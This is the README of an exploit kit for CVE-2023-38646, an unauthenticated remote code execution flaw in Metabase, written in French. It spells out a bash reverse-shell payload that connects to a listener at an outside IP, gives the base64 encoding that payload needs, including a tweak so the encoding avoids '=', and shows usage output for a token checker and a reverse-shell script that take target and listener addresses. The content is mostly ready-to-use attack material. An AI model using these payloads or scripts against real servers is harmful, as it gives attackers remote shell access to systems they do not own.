
Exploit PoC pour CVE-2023-38646, une RCE sans authentification dans Metabase. Inclut un générateur de payload reverse shell avec correction de l'encodage base64 pour une exploitation fiable.
Le script original provient de securezeron
Lors de mes tests, j'ai constaté que le reverse shell généré par ce PoC, après encodage en base64, échouait à cause du caractère '=' à la fin. Je l'ai légèrement modifié pour résoudre ce problème.
# Code original pour générer la charge utile du reverse shell
>>> base64.b64encode("bash -i >&/dev/tcp/10.10.14.59/8080 0>&1".encode()).decode()
'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ=='
# Code modifié pour générer la charge utile du reverse shell sans '='
>>> base64.b64encode("bash -i > &/dev/tcp/10.10.14.59/8080 0>&1 ".encode()).decode()
'YmFzaCAtaSA+ICYvZGV2L3RjcC8xMC4xMC4xNC41OS84MDgwIDA+JjEg'
└─# python CVE-2023-38646-POC.py -h
usage: CVE-2023-38646-POC.py [-h] [--ip IP] [--list LIST]
Check setup token
options:
-h, --help show this help message and exit
--ip IP IP address
--list LIST Filename containing list of IP addresses
└─# python CVE-2023-38646-Reverse-Shell.py -h
usage: CVE-2023-38646-Reverse-Shell.py [-h] [--rhost RHOST] [--lhost LHOST] [--lport LPORT]
Check setup token
options:
-h, --help show this help message and exit
--rhost RHOST Metabase server IP address (including http:// or https:// and port number if needed)
--lhost LHOST Listener IP address
--lport LPORT Listener port (default is 4444)
Pour plus d'informations sur la vulnérabilité, consultez https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/